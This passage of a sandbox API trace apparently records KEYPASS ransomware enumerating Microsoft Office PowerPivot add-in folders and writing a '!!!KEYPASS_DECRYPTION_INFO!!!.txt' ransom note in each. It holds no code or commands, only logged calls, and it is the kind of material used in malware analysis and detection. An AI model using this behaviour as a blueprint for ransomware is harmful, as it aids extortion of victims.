FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.238] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.238] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.238] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.238] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.238] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.238] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.238] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.238] GetLastError () returned 0x3f0 [0252.238] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.238] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0252.265] GetFileType (hFile=0x870) returned 0x1 [0252.265] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.265] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.265] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.265] WriteFile (in: hFile=0x870, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.266] WriteFile (in: hFile=0x870, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.266] CloseHandle (hObject=0x870) returned 1 [0252.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39875f8 [0252.267] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml") returned=".xml" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.268] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.269] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.270] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.270] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.270] FindNextFileW (in: hFindFile=0x39875f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.270] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.270] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.270] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.270] GetLastError () returned 0x3f0 [0252.270] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.270] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0252.314] GetFileType (hFile=0x858) returned 0x1 [0252.315] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.315] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.315] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.315] WriteFile (in: hFile=0x858, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.316] WriteFile (in: hFile=0x858, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.316] CloseHandle (hObject=0x858) returned 1 [0252.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39872b8 [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl") returned=".xsl" [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl") returned=".xsl" [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl") returned=".xsl" [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl") returned=".xsl" [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl") returned=".xsl" [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.317] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl") returned=".xsl" [0252.317] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl") returned=".xsl" [0252.318] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql120.xsl") returned=".xsl" [0252.318] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl") returned=".xsl" [0252.318] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl") returned=".xsl" [0252.318] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl") returned=".xsl" [0252.318] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl") returned=".xsl" [0252.318] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl") returned=".xsl" [0252.319] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl") returned=".xsl" [0252.319] FindNextFileW (in: hFindFile=0x39872b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.319] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.319] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.319] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.319] GetLastError () returned 0x3f0 [0252.319] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.319] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0252.421] GetFileType (hFile=0x878) returned 0x1 [0252.421] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.421] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.421] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.421] WriteFile (in: hFile=0x878, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.422] WriteFile (in: hFile=0x878, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.422] CloseHandle (hObject=0x878) returned 1 [0252.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39872f8 [0252.423] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.645] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.646] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.646] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.646] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml") returned=".xml" [0252.646] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.646] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.646] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.646] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.646] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.646] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.646] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.646] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.646] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 